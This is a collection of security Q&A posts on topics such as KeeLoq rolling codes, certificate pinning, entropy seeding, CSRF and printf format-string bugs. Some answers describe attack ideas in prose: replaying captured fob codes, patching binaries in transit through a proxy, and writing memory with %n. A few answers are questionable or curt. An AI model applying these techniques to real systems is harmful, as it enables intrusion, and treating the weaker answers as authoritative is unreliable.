How do rolling code fobs and receivers synchronise? This is a follow-up question to my earlier one: Does pressing a car remote many times offer denial of service attack for rolling codes?

I want to emphasize that I am asking this question more to shore up holes in my academic (mis)understanding of rolling codes than as a practical "How do I start my car?" question.

Many (older) car and garage remotes use a rolling code system, so every time the fob button is pressed, a different code is sent, to protect against replay attacks.

Shared Secret?

My original understanding of rolling codes was that there was a shared secret (perhaps a serial number?) between the fob and the car, and that this was used to cryptographically generate the same infinite sequence of rolling codes on both sides.

That way, a simple replay attack wouldn't work. (The receiver wouldn't accept the same code twice.)

I also thought that an attacker would need to sniff an infeasibly long sequence of codes before they could reverse engineer what the original secret was, and thus generate new items in the sequence.

Security through Obscurity?

I now think that I was over-estimating the technology, because it appears that a receiver can be trained to accept a new fob with a relatively simple process that doesn't require transferring a secret - you just need to push the fob once when the car/garage is in the equivalent of a "change password" mode.

This suggests to me that there is no shared secret, but just one very long (algorithmically generated?) sequence, that the two devices need to synchronise upon.

If the car can listen to the fob once and predict future codes, surely a sniffer can do the same?

If my new understanding is right:
 * All fobs using the same generating sequence. The algorithm may be obscure, but it isn't customised by a secret - the only "secret" is what the fob's current internal state is, and that is broadcast on every button press.
 * While a naive sniffer could not use a replay attack, a sophisticated sniffer could generate the entire future sequence from a single code.
 * I am disappointed in car/garage security systems.

Do car/garage fobs use a shared secret, and generate the sequence based on that? If so, what is the internal process that allows the remote and fob share the secret key during the synchronisation process?

Keeloq is used in many but not all key fobs/garage door openers. This article is writen by microchip who created keeloq Introduction to Ultimate KEELOQ Technology.

tl;dr

The remote(key fob/garage door opener) and receiver(car/garage motor unit) use the same 64 bit key to encrypt and decrypt. A "serial number" is used to identify a specific remote. Every time a button is pressed the remote's "sync counter" is incremented by 1. If the remotes "sync counter" is 0 to ~250 ahead of the receivers "sync counter" then it accepts the code and updates the sync counter for that remote. Since the "sync counter" is encrypted with a key that is only known to the remote and reciever a sniffer cannot forge a code even if it knew the next "sync counter" because it doesn't have the 64 bit key.

  My original understanding of rolling codes was that there was a shared secret (perhaps a serial number?) between the fob and the car, and that this was used to cryptographically generate the same infinite sequence of rolling codes on both sides.

The remote encrypts the "Encrypted Portion" of the packet and sends that and the fixed portion to the receiver which then decrypts the "Encrypted Portion" using the same 64 bit key that the remote used. This is a different scheme than one time passwords which is often used for web authentication.

Well it's not infinite. Every time a button is pressed the "Sync Counter" is incremented by 1. The "Sync Counter" can range from 0 to 65535. So after 65536 transmissions you would see the same codes repeat. If you captured 65536 unlock transmissions you'd be able unlock the car/garage by playing the next raw capture
in that sequence since it just wraps around.

  I now think that I was over-estimating the technology, because it appears that a receiver can be trained to accept a new fob with a relatively simple process that doesn't require transferring a secret - you just need to push the fob once when the car/garage is in the equivalent of a "change password" mode.

Kind of. You're right that no shared-secret is exchanged or communicated. How the remote and receiver end-up using the same 64 bit key depends on the scheme.

There are 3 learning modes "simple" "normal" "secure" described by the pdf.

Simple

  The Simple key generation scheme is the simplest
  scheme that a KEELOQ technology system supports.
  When using simple key generation, one single key is
  used by all encoders and the transmitters are differen-
  tiated only by the serial number.
  It is very important that the user understands exactly
  what the implications of using such a key generation
  scheme are. This could be a potential security risk. If
  any encoder is compromised and the encryption key is
  found, then all the encoders are compromised,
  because they use exactly the same key.

All remotes and receivers use EXACTLY the same 64 bit key to encrypt and decrypt packets.

normal

  The Normal key generation scheme is the common key
  generation scheme for KEELOQ technology systems.
  During Normal Learn, a master key is used (known as
  the “manufacturer code”).
  When using the normal learning mechanism, the
  decoder uses the manufacturer code and the serial
  number to calculate the decryption key for each
  transmitter.
  Using the serial number of each encoder and the
  manufacturer code, the unique encryption key for each
  encoder is calculated. The encoder stores only the
  serial number and the calculated encryption key. The
  decoder needs to be programmed with this
  manufacturer code in order to be able to calculate
  individual encryption keys. To calculate the encryption
  key, the 28-bit serial number is padded with
  0x6000000 and 0x20000000 and decrypted using
  the manufacturer code as the decryption key. This
  operation is done twice, in order to calculate the high
  part and the low part (MSB and LSB) of the encryption
  key.

The 64 bit key is derived using the "serial number" and the "manufacturers code". The remote only stores the derived key not the master key, but the receiver knows the master key so that it can derive any specific remote key. So it "learns" the remotes "serial number" and then derives that remote's 64 bit key.

secure

  The Secure key generation scheme is a more
  advanced key generation scheme. When using the
  normal key generation scheme, the key is generated
  from the serial number and the manufacturer code.
  Since the serial number is transmitted in any packet,
  one part of the key generation scheme is always
  exposed. But an even more secure method is to
  generate a random number (called “seed”). Depending
  on the length of the seed, there are three key
  generation schemes: 32-bit seed, 48-bit seed and
  60-bit seed. During normal operation, the seed is not transmitted.
  The only time when the seed is transmitted is during
  the learning/pairing phase. Thus, the information that is
  used to generate the encryption key is kept confiden-
  tial. Some implementations take the security level even
  further, by allowing the seed to be transmitted only for
  a limited period (in which the system is installed) and
  then disabling this feature.

A seed is used instead of the "serial number" for deriving the 64 bit key. The only time this seed is transmitted is at learning/pairing time.

As a final note. There are other schemes out there that are better than keeloq. Even the pdf describes a scheme that uses AES instead of keeloq, but there are worse ones too. Some garages still used fixed codes.

  I am disappointed in car/garage security systems.

Me too.


How secure is HTML5 web storage (sessionStorage and localStorage)? I'm thinking of using either sessionStorage or localStorage to store some important user data.

The extension's functionality will only work in the context of a particular website that defaults to HTTPS.

The data isn't confidential but I want to make sure that it cannot be modified or deleted by a malicious attacker because it is fundamental to the operation of the extension.

What precautions do I need to take?

The user can modify and delete anything stored in their browser. Any malware installed in the user's system with the user's privilege can also do so.

The system administrator can also modify and delete anything stored in any user's browser. Any malware with the administrator's privilege can do the same.

Another non privileged user in the same system generally won't be able to modify or delete another user's browser storages, however there's a number of other avenues of attacks that might be possible when an attacker have unfettered physical access, so don't rely heavily on it.

An attacker MITMing unencrypted connection between the user and your server can on some limited circumstances, modify and delete these storages.

An attacker MITMing a properly encrypted connection between the user and your server would not be able to do so. Improperly configured encryption may not give you effective security, so make sure you configure your encryption correctly and train your users not to ignore certificate errors and warnings.


Are there any anonymous OpenID providers similar to Gawker's "burner"? Gwaker has an anonymous commenting system called Burner.  It is offered as an alternative to Facebook, Twitter and Google.

What's the difference between Burner and creating a throwaway Google , Facebook, or Twitter account?
Is the difference between Gawker's "Burner" and the other providers mainly the Terms of Service?
Is there an OpenID site that offers similar protections?  (e.g. the Duck Duck Go of OpenID)

It seems like it is probably equivalent to a throwaway account, although with less work involved. Another similar service that creates a disposable openid is at http://openid.anonymity.com/

Other services like myopenid.com allow you to create multiple aliases for a single account. Liquidid.net allows you to create multiple anonymous email aliases.

I guess it all depends what you want to accomplish and how permanent you want to make the identity.


Possible risks of multicast I noticed that a android in my network is constantly connect to Multicast DNS IP. I seen this because my firewall block this inbound connection. Other devices connects to that IP too, but this android in specific seems to do this all the time, and this user (my father) is not concerned about security.

I would like to know if this type of connection can spread some infection (if exists), since my PC has firewall, but other androids has not (not rooted).

Multicast DNS is a protocol which is used by devices on the network announce to the rest of the local network that they are there (name) and what services they offer to others (printing, audio...). It is not really a connection but a broadcast, i.e. the information are send to a special multicast address and all devices on the local network will listen for information on this address.

Sure, it makes it easier to discover for an intruder in the local network what else is there, since it was explicitly designed for providing this kind of information (i.e. use devices and services without much explicit configuration). It can also be used by an intruder to announce itself as some service in the hope that others will connect to it. But it can not really be used to spread malware by itself - unless the recipients mDNS stack is broken.

Thus while there were (of course) bugs in the related network stacks in the past and might also be there currently, it is no more dangerous than any other network protocols you use, probably even less since it should be restricted to the local network. In other words: there are probably more serious problems in your network you should worry about.


Securing microsoft access database Let's say I have a website which is written in ASP and I keep my .mdb database in a random directory like /asd8asd/dkdgk32/asdmv/askdasd/kasldk.mdb

Can an attacker find database's location without guessing/brute forcing?

So assuming here that the database is only intended to be accessible by the ASP code and not clients of the web application a better alternative to keeping the database in a "random" directory under the web root, would be to keep the database outside of the webroot altogether.  That way it would not be possible for an attacker to directly address the database via the website (without another security issue allowing them to).

If you're intending website clients to directly download or access the MDB file, hiding the database may not be a very  robust control. An attacker may be able to find the location by watching the traffic of other clients or by finding a reference to it in other parts of the site.

A more robust alternative here would be to restrict access to the database to authenticated users only.  Even if you've not got a full membership system set-up for your site, you could use something like HTTP digest authentication to restrict user access.  On its own that's not a perfect solution, but it's bettern than relying solely on an attacker not finding a URL.


Saving random seed on restart/shutdown, and restoring it during system boot On Debian (and I guess on other linux distributions as well), there is an init script /etc/init.d/urandom, whose function it is to:

"Save and restore random seed between restarts"

In my case, this file is saved to /var/lib/urandom/random-seed.

I wonder how wise it is to save random seed to a file on disk, when the whole assumption of random seed in cryptography is that is kept secret.

Why do that at all, in the first place.
Do we need to "preserve" the random seed between restarts ?
What would happen if we don't?
Will the computer have 0 randomness when it boots?

Why do that at all, in the first place. Do we need to "preserve" the random seed between restarts ? What would happen if we don't? Will the computer have 0 randomness when it boots?

This turns out to be a much deeper question than you might realize. I'll try to do justice to it without writing a textbook.

Basically: computers suck at randomness; when you have some true randomness (aka entropy), it's a good idea to hold on to it.

Let's assume that your computer doesn't have a hardware random number generator. (Modern Intel chips have the rdrand instruction that taps into a hardware rng, but for political reasons, the Linux kernel doesn't use it.)

On boot, where does the kernel get pure randomness from? According to Wikipedia:

  The Linux kernel generates entropy from keyboard timings, mouse movements, and IDE timings and makes the random character data available to other operating system processes through the special files /dev/random and /dev/urandom. This capability was introduced in Linux version 1.3.30.

So mouse, keyboard, and timing of harddrive IO events. Let's say you need entropy during OS boot (for example you start sshd which needs to generate keys on its first startup), you haven't loaded the mouse and keyboard drivers yet, and that early in the boot cycle you won't have made very many disk IO calls -- hell, early enough in the boot the kernel is still running in a RAM FS, and even after that you may be on an SSD or flash drive that has very predictable IO times.

So back to your question:

  What would happen if we don't? Will the computer have 0 randomness when it boots?

It's possible.

On small embedded linux devices like routers that boot out of flash memory  (both the small home ones, and the big datacentre ones that power the internet), this is actually a serious problem.

For an awesome read on this topic, see the 2012 paper Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices which has the shocking finding that

  0.75% of TLS certificates [on the internet] share keys due to insufficient entropy during key generation.


MiTM, can a binary file be changed or swapped enroute I genuinely looked for an answer to this but my terminology is lacking. If an attacker was in a MiTM position running a proxy, wouldn't it be possible for them to detect a binary like an .exe or .pdf and either implant some malicious instructions or completely swap the file with something evil?

To clarify:
Do you know of any software, paper or talk regarding this.

Yes.  It can be done.  I've done it personally with python, using a script that I wrote called the-backdoor-factory and implementing a proxy in python.  Once you have the the patching system in place almost any proxy will work.  You will just need to look for the application/octet-stream in the html, retrieve the binary, patch it, and forward to the client.  I'll post a full write up online once I have stable program for community testing.

So here a video of the POC that I'm working on: http://www.youtube.com/watch?v=qPCy2IDaEOI

What you are seeing in the video is my POC on the left written in python and the 'victim' on the right browsing through the proxy.  The proxy looks for binaries and only intercepts PE/COFF at the moment. After the binary is patched, it forwards the binary to the user, as you can tell, it's really fast.


Method to integrate Touch ID in iOS apps With the recent announcement of Touch ID APIs for third party apps, I am wondering how can we leverage this feature to perform secure transaction ? I am looking for a method to use Touch ID in my payment application. One option is to store the password in the keychain and add access policies to invoke Touch ID during payment but the problem is if the device password is compromised, user can roll back to device password to access password stored in keychain. Does anyone know a better mechanism to manage password & make the transaction smoother & secure using Touch ID ?

Authentication keychain access using biometric scan defaults to device pass code as a back up when authentication fails. But one can use LAContext API to directly invoke the biometrics authentication and make actions based on the result.

LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = <#String explaining why app needs authentication#>;

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
    [myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
                  localizedReason:myLocalizedReasonString
                            reply:^(BOOL success, NSError *error) {
            if (success) {
                // User authenticated successfully, take appropriate action
            } else {
                // User did not authenticate successfully, look at error and take appropriate action
            }
        }];
} else {
    // Could not evaluate policy; look at authError and present an appropriate message to user
}


Reasons behind MAC Spoofing on a corporate network? My team is inspecting some MAC Spoofing events that are triggering in our corporate environment.  After talking it over with the team, this is the information that we have that is relevant....

The events are being triggered by our client-side software firewalls.
There are occurrences across the network, seeing that MAC spoofing is limited to layer 2, this leads us away from the idea of intentional malicious activity seeing that we do not have a flat network.
We know of issues that our firewall has had in past versions when it comes to picking up MAC spoofing, but there's nothing to indicate that issue with our current implementation.
We are currently trying to figure out the OS types for the source & destination systems.
There is no documented security exception/reason why any of our machines would be spoofing their MAC addresses
These events started occurring recently and have continued to occur (over the last 3-4 days).
This is a given by my other points, but we have not successfully be able to recreate the event on machines that we are testing.

Any help figuring out the source of this issue would be appreciated.  I'll update if we find any additional helpful information or if we resolve the issue (I've just been brought onto this issue, so I don't have a complete understanding of what we know yet).

P.S. I can't, in sound mind, give any more information as to what products we use for our security systems.

Common cases for MAC spoofing alarms are:

virtual machines being cloned or reconfigured
people pulling the plug to connect notebooks
DHCP recycling ip addresses
loading different firmware on network cards (especially wireless cards)
(rarely) bit flipping in the PROM of the network card.

It would be interesting to know, if those alarms are for miss matching MAC addresses and switch ports or miss matching MAC addresses and IP addresses. Is only one computer effected or many? Are the difference in old and new MAC address only one or two bits? Are MAC multicast addresses involved?


Whitelist for HTTP request Malicious request can come in the form of user agent string, referrer or cookie. To prevent being pawned by zero day attacks such as Shellshock, I have created a whitelist of characters for user agent string:

a-zA-Z0-9,.:;?/ ~!@()+_-

Is the above useful and effective? Also, does anyone have a list of acceptable characters for referrer, cookie, request URI and query string?

This really isn't useful or effective, it only specifically protects against shellshock (and with the amount of publicity it received I am fairly confident that a similar attack will not happen again. )

I should also point out that your whitelist would not actually protect a system which is effected by shellshock either.


What security standards should be implemented in a simple web application I am creating a web application that basically reads/writes/updates information from and to a database on a server. I am knowledgeable in computer programming, but while seeking security standards, I can't find how to determine what standards to look into. What approach should I take in determining some basic security standards?

Depending on what  data you are handling there might be different security minimums (encrypting data in the database). But I strongly advice you to start your search on the Open Webapplication Security Project (OWASP).


Understanding Certificate Pinning I am attempting to implement certificate pinning across a suite of mobile apps.

I have been reading a lot about the different strategies (pinning to the CA/intermediate, pinning to a leaf cert, providing multiple cert options on the client due to expiry).

In order to fully understand our best approach for the front and backend, I need to understand how pinning to any certificate really makes a difference to a savvy hacker - if all we're doing is checking against a given certificate on the client, and an attacker can very easily obtain a copy of our certificate, what do we really gain from pinning?

The power in a certificate is NOT in the certificate. It is in the private key. When a server "uses a certificate", it really uses the private key; and the server shows the certificate (that contains only the public key) to the client. The certificate is a proof that a given public key belongs to a specifically named entity. For instance, the certificate that is used by the SSL server www.google.com contains that name (www.google.com) and Google's public key. Google won't show you their private key, of course !

A certificate is not accepted as proof merely because it exists; a client is supposed to perform certificate validation, a complex and convoluted process which entails building certificate chains and verifying a lot of signatures, because a certificate is signed by an authority that is endowed with the power to sign certificate, and is therefore named a certification authority (or CA for short).

Certificates are described in X.509, which is best described as "the Devil's Masterpiece Of Confusion". To practically cope with the sheer complexity of X.509, implementations, in particular Web browsers and other SSL client applications, tend to "take shortcuts" which allow the whole validation thing to complete within reasonable time, but also have a deleterious effect on overall security.

Certificate pinning is a method by which some implementations try to restore a bit of security while still being practical. All of X.509 is context-free: a client is supposed to be able to validate a server certificate without any memory or state kept from previous validations. Certificate pinning is the negation of that notion: the client "pins" a certificate by remembering that a given certificate was used by some server, and then using that information to efficiently "validate" that certificate, should the client connect again to the same server. Pinning even goes to reject a server certificate if it is not the same as the one used by the server during a previous connection to that same server.

The idea is that if an attacker tries to show you a fake server, he won't be able to show the certificate of the genuine server -- of course, the attacker could show a copy of the true certificate (that's public data, the server sends it to all connecting clients), but the attacker would not be able to use the corresponding private key, since he does not have it (the private key, as the name says, is private). Instead, in order to be able to pose as a fake server that can do a complete SSL handshake, the attacker must feed the client a fake certificate that contains the attacker's public key, distinct from that of the server. With certificate pinning, the suspicious client will notice that the server apparently switched certificates, and will find that fishy, and will complain to the user, who will then click off the friggin' warning popup and proceed to sending his credit card number to the attacker because users are like that.

It shall be noted that certificate pinning does any good only in cases where the attacker could obtain a certificate that is accepted by what passes for certificate validation code in client applications. There have been a few highly publicized cases of a CA being bribed or hacked into issuing fake certificates; however, this is still rare. Also, certificate pinning cannot be really absolute because certificates have validity dates, for a bunch of reasons (some of them being even rationally acceptable), so there must be some situations where a client with certificate pinning will still accept that the server changed its certificate.

An example of protocol, similar to SSL, and using public/private key pairs (not X.509 certificates, though) in a "full pinning" model, is SSH. When you connect to a SSH server for the first time, the client asks confirmation about whether the public key sent by the server is the right one (the human user is supposed to check the hash of that key with some authoritative source); then, the client remembers that key (in the .ssh/known_hosts file for Unix-based SSH clients) and will scream loudly if the server ever happens to change its key.


Why are apps signed? From the Android website:

  Android requires that all apps be digitally signed with a certificate
  before they can be installed.

The signature ensures that only the original developer can publish an update for their app. It doesn't ensure that no faked app gets delivered to the user the first place. The developer can't monitor whether google delivers "real" versions of their apks or faked ones. So the end user has to trust google. Why not completely rely on google, and remove the signature? The developer authenticates themselves to google via their google account, and therefore every app is traceable to its developer. And the path from google to the play store app can be secured through https.

Actually, code signing is simply a way to validate that an app came from the app store. It has nothing directly to do with who the app is from or what intent the app designers had in mind.

The issue of malware being introduced is mostly the result of it not being caught by Google's filters (see wiki for details authentication procedures).

Moreover, code signing itself isnt really enough as vulnerabilities do exist.

In addition to everything you stated, code signing also allows the developer to release updates to their app without having to 're-authenticate' themselves [fully] to Google. Being code signed also means you are (in theory) easier to physically track down in case you did upload malware, thus code signing acts like a forensic fingerprint of sorts (I am oversimplifying the issue/details).

Bottom line is the original developer can do nothing but watch and report malicious interpretations of their app (not to mention, many 'legit' apps are simply exploitable).

If you did 'completely rely on Google' that would change legal obligations and most likely drive app costs up as Google would now have to veht each app vigorously to avoid lawsuits.


Amount of simple operations that is safely out of reach for all humanity? Cryptographic primitives usually assert some security level given as number of operations to mount an attack. Hash functions, for example, give different security levels for collision attacks, preimage attacks and second preimage attacks. From these, "safe" key sizes are derived for different primitives.

There are many different recommendations for safe key sizes and many different means of estimating future capabilities in performing computation. For example, www.keylength.com has a lot of these recommendations combined.

What I'm looking for, however, is the amount of simple operations that can be obviously seen as out of reach for all humanity for the foreseeable future - or actually, the lowest such value that is still believable.

It is very obvious that 2^256 simple operations is something that will never be reached. It is also very obvious that 2^64 simple operations can be reached as it already has been. Many of the recommendations seem to calculate 2^128 as a number that would be safe for 30 years or more. So the value I am looking for is likely between 2^128 and 2^256. I am guessing 2^160 or 2^192 might be safely out of reach.

But I want concrete arguments that can be easily reasoned about. I'd love to see arguments that are based on simple laws of physics or relations to concrete constants about the universe. For example, Landauer's principle could be used.

Note: the actual simple operations used are not relevant here - they might be operations on a quantum computer, or hash invocations, or whatever.

As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10-21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×1047 J (actually that's what you would get from the mass of the Sun, according to this page, but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×1068 elementary computations, which is about 2225.2. (I think this computation was already presented by Schneier in "Applied Cryptography".)

Of course this is a quite extreme scenario and, in particular, we have no idea about how we could convert mass to energy -- nuclear fission and fusion converts only a tiny proportion of the available mass to energy.

Let's look at a more mundane perspective. It seems fair to assume that, with existing technology, each elementary operation must somehow imply the switching of at least one logic gate. The switching power of a single CMOS gate is about C×V2 where C is the gate load capacitance, and V is the voltage at which the gate operates. As of 2011, a very high-end gate will be able to run with a voltage of 0.5 V and a load capacitance of a few femtofarads ("femto" meaning 10-15). This leads to a minimal energy consumption per operation of no less than, say, 10-15 J. The current total world energy consumption is around 500 EJ (5×1020 J) per year (or so says this article). Assuming that the total energy production of the Earth is diverted to a single computation for ten years, we get a limit of 5×1036, which is close to 2122.

Then you have to take into account technological advances. Given the current trend on ecological concerns and the peak oil, the total energy production should not increase much in the years to come (say no more than a factor of 2 until year 2040 -- already an ecologist's nightmare). On the other hand, there is technological progress in the design of integrated circuits. Moore's law states that you can fit twice as many transistors on a given chip surface every two years. A very optimistic view is that this doubling of the number of transistor can be done at constant energy consumption, which would translate to halving the energy cost of an elementary operation every two years. This would lead to a grand total of 2138 in year 2040 -- and this is for a single ten-year-long computation which mobilizes all the resources of the entire planet.

So the usual wisdom of "128 bits are more than enough for the next few decades" is not off (it all depends on what you would consider to be "safely" out of reach, but my own paranoia level is quite serene with 128 bits "only").

A note on quantum computers: a QC can do quite a lot in a single "operation". The usual presentation is that the QC performs "several computations simultaneously, which we filter out at the end". This assertion is wrong in many particulars, but it still contain a bit of truth: a QC should be able to attack n-bit symmetric cryptography (e.g. symmetric encryption with a n-bit key) in 2n/2 elementary quantum operations. Hence the classic trick: to account for quantum computers (if they ever exist), double the key length. Hence AES with a 256-bit key, SHA-512... (the 256-bit key of AES was not designed to protect against hypothetical quantum computers, but that's how 256-bit keys get justified nowadays).


Similar products to MS EMET Following the weekend announcement from Microsoft regarding the vulnerability in IE I have been looking at additional security defences for our endpoints. I've read some technical documentation and articles on the implementation of Microsoft's Enhanced Mitigation Toolkit. The product functionality looks like it could be a good addition to our existing defences (if configured and tested properly) but my only reservation is that there is no central management tool for the product. It'd be ideal to have a central console where I can see devices with the product installed and view reports where potential attacks have taken place.

Does anyone use a similar product within their environment? If so, which products?

Thanks in advance.

Newer anti-malware software can include some sort of 'process behavioral analysis' that performs similarly to EMET. Most enterprise AV solutions are centrally managed. Results may vary...

This is a vendor-neutral site, so I won't go into specific vendor offerings. Check out your favorite AV vendor and see what options they provide.


How to detect malware in linux Is there any way to detect rootkit/malware in linux servers?
While for windows users the easiest way is to leave it for an antivirus/anti-malware application, but when you have a Linux machine that you have been using for longtime in a hostile environment, how can you be sure that you are not hacked/monitored and and that your data is not compromised.

You would want to use measured boot, a technique for verifying a chain of trust from the BIOS all the way up to the kernel. Once the kernel is verified, a feature called IMA, the Integrity Measurement Architecture, can be used which allows the kernel to verify executables before they run. This is similar to basic integrity checkers such as AIDE, but allow real-time prevention, not just detection after the fact. Measured boot requires the presence of a TPM, which most modern systems have.

If a system has been running for a long time and may be tainted, there is no simple and effective way to check for malware. While some simple utilities like unhide may be able to detect very simple rootkits, a well-designed rootkit will have hooked the kernel and can effectively prevent any userspace tool from detecting it. In these cases, you will need to dump the server's memory over specialized hardware and analyze it with a memory analysis framework such as Volatility.

For less sophisticated malware which does not use kernel hooks to hide itself from userspace, traditional digital forensic techniques can work well. A very non-exhaustive list of techniques to detect software-level tampering from malware or intrusion can include:

Checking vital system logs for suspicious entries (ideally from an offline backup).
Analyzing network activity to detect unauthorized outbound and inbound connections.
Viewing the process tree and loaded modules to look for unexpected entities.
Getting a list of setuid and setgid files to look for suspicious ones (e.g. setuid sed).
Checking that the inode numbers of critical system files are sequential.

Remember, just because you do not find anything suspicious does not mean malware is not present. Particularly sophisticated malware can run in system management context which is invisible to the kernel, or load itself to a programmable and DMA-capable device such as the GPU. If the service is highly sensitive, you should do a full re-install if malware is a real possibility.


PHP IP check as security? Would just like some input on a PHP script I'm writing. It's just a simple script that only myself should be able to access. I don't have a dynamic IP address, so this isn't an issue for me, but I'm wondering if there's any potential problems in my "security" measure.

Currently my script is setup like this:

$uip = $_SERVER['REMOTE_ADDR'];
if ($uip == "my personal ip here")
 {
   echo "access granted";
 }

else
 {
   echo "access denied";
 }

Is this "safe"? Or is it easy for somebody that knows my IP to be able to spoof their visit to the PHP script using my IP and trick the script into thinking it's my IP?

Any suggestions? I don't want to over-complicate things (in example a login page) and just want to know if my KISS solution is viable or potentially problematic.

The biggest risk with this setup is Cross-site request forgery (CSRF). As an example, imaging a site has a URL like http://mysite.com/setTitle?title=Hello which sets the site's title. You only want the admin to access this, not anyone else, and you use IP address controls to enforce this. Now just imagine if the admin is browsing some unrelated site, and that includes an image tag which links to this URL, e.g. http://mysite.com/setTitle?title=Evil What will happen is that the admin'd browser will try to load that link. The web server will see the request coming from the authorised IP address, and allow the title to be changed. Not good! The usual fix for CSRF is to issue a random token to users, which must be included in the request.

Who else uses your IP address? Most home setups have a number of people accessing the internet through the same router, and hence the same IP address. You may not want these other people to have access.

The risk of IP address spoofing is less of an issue. TCP has reasonable protection against this, which stops many attacks. It is still possible in certain circumstances, but if you're just after something simple, I wouldn't worry too much about it.


Are there additional security risks posed by rooting an Android device? Once an Android device has been successfully rooted, are there any additional security risks created (besides telling SuperUser to trust a rogue root app)?

For example, on a rooted Android device, can apps that aren't given root permissions through SuperUser (SU) ever perform root actions?

For all answers, please assume that the user has not, and will not, approve any apps in SuperUser without properly vetting them.

The SuperUser app acts as a gateway to running things as root, which should prevent apps from becoming root directly without your approval. However, if an app you approve to run as root has a vulnerability, a malicious app might be able to exploit it to gain root.

Other security concerns include:

Taking advantage of the more lax side-loading abilities (i.e. loading non-Play Store apps) which are not vetted in the same way that Play Store apps are.
Leaving USB debugging enabled by accident, after the rooting process, may allow a host device to attack your Android device after rooting.
Leaving "Unknown Sources" enabled after rooting may also lead to malicious applications being launched, though this still (usually) requires user interaction.


Is the following code seeding OpenSSL's PRNG necessary, superfluous, or harmful? As I was going through Crypt::SSLeay, preparing it for the next release, I noticed the following code, written way before my time,
...

int rand_bytes_read;
static int bNotFirstTime;
char buf[ 1024 ];

...

if(!bNotFirstTime) {
    SSLeay_add_all_algorithms();
    SSL_load_error_strings();
    ERR_load_crypto_strings();
    SSL_library_init();
    bNotFirstTime = 1;
}

/**** Code from ..., 10/3/2002 ****/
/**** Use /dev/urandom to seed if available  ****/
rand_bytes_read = RAND_load_file("/dev/urandom", 1024);
if (rand_bytes_read <= 0) {
    /* Couldn't read /dev/urandom, just seed off
     * of the stack variable (the old way)
     */
    RAND_seed(buf,sizeof buf);
}

First, it seems to me that the correct way to check if RAND_load_file succeeded is to check if bytes read is equal to bytes requested.
Leaving that aside, it is my understanding that SSL_library_init does seed the PRNG from /dev/urandom if it is available, and from other sources on Windows etc.

Is there a reason to try to re-seed the PRNG every time a new context is created (SSL_library_init is only invoked the first time)?

Is using the contents of a stack variable an acceptable way to provide randomness?

OpenSSL's Wiki states:

Initialization
OpenSSL will attempt to seed the random number generator automatically upon instantiation by calling RAND_poll. RAND_poll seeds the random number generator using a system-specific entropy source, which is /dev/urandom on UNIX-like operating systems, and is a combination of CryptGenRandom and other sources of entropy on Windows.
Be careful when deferring to RAND_poll on some Unix systems because it does not seed the generator. See the code guarded with OPENSSL_SYS_VXWORKS in rand_unix.c. Additionally, RAND_poll can have negative interactions on newer Windows platforms, so your program could hang or crash depending on the potential issue. See Windows Issues below.

PS: Crypt::SSLeay provides support for Perl's LWP::UserAgent to communicate over HTTPS. It is no longer used by default, but it is maintained so as not to break older setups.

With current and not-so-current versions of OpenSSL, this code is useless (but harmless), because OpenSSL will automatically seed itself on /dev/urandom on machines where /dev/urandom is available. This is documented:

  On systems that provide /dev/urandom, the randomness device is used to seed the PRNG transparently. However, on all other systems, the application is responsible for seeding the PRNG by calling RAND_add(), RAND_egd() or RAND_load_file().

Actually, the documentation is slightly wrong because on Windows, where there is no /dev/urandom, OpenSSL uses CryptGenRandom(), so the automatic strong seeding still occurs.

On machines where there is no system-provided strong PRNG, the caller must provide entropy "manually", but these systems are, by definition, machines where there is no /dev/urandom.

The contents of an uninitialized stack variable are hardly a good source of entropy, because such contents are usually very deterministic. Reasonable sources of randomness in a machine come from the "physical world", typically precise timings of hardware events.


Scanning a Foreign Network for Active Hosts using Nmap or Hping3 I Have a Router setup at my home. I Just have a private IP. I wanted to scan for active hosts on my network. When I do it locally, I use, Nmap,

nmap -sn -v x.x.x.*

So, is their any way to do it externally ?

P.S I have a port 80 Forwarded.

I think the Answer is No.

Assuming the router has no port forwards set from Private Network to outside, Its not possible to scan a Private Network (NAT) from outside the Private Network(From the Internet).

Lets say your NAT has IP address like 192.168.0.xxx.
Now these exact IPs will be located in many other NAT's.

If you scan something like 192.168.0.10 you either end with Host not found or will probably scan someone one else who is reachable from the private network you are currently on.

EDIT: If you really want to do it, you can setup Port forwarding  for the hosts in Private network and then scan the router IP for open ports.

UPADTE: After setting up Port Forwarding,the command will be nmap -sn -v RouterIP . But lets say you mapped HostIP:8080 to RouterIP:9090. You will get port RouterIP:9090 open. So you require to know the Mapping between RouterIP and hosts ip


How is printf() in C/C++ a Buffer overflow vulnerability? According to an article I just read, the functions printf and strcpy are considered security vulnerabilities due to Buffer overflows. I understand how strcpy is vulnerable, but could someone possibly explain how/if printf is really vulnerable, or I am just understanding it wrong.

Here is the article: https://www.digitalbond.com/blog/2012/09/06/100000-vulnerabilities/#more-11658

The specific snippet is :

  The vendor had mechanically searched the source code and found some
  50,000-odd uses of buffer-overflow-capable C library functions such as
  “strcpy()” and “printf().”

Thanks!

It is possible to have issues with printf(), by using as format string a user-provided argument, i.e. printf(arg) instead of printf("%s", arg). I have seen it done way too often. Since the caller did not push extra arguments, a string with some spurious % specifiers can be used to read whatever is on the stack, and with %n some values can be written to memory (%n means: "the next argument is an int *; go write there the number of characters emitted so far).

However, I find it more plausible that the article you quote contains a simple typographical mistake, and really means sprintf(), not printf().

(I could also argue that apart from gets(), there is no inherently vulnerable C function; only functions which need to be used with care. The so-called "safe" replacements like snprintf() don't actually solve the problem; they hide it by replacing a buffer overflow with a silent truncation, which is less noisy but not necessarily better.)


Are there any risks associated with using a single U2F/FIDO key with multiple sets of credentials? I recently got a FIDO U2F key (AKA a Yubikey). I currently only use it across a range of services, but could this be a security risk in any way?

For example, if I use my U2F key to authenticate on a shady and/or insecure and/or malicious website, could my U2F key somehow be compromised?

No, you are safe

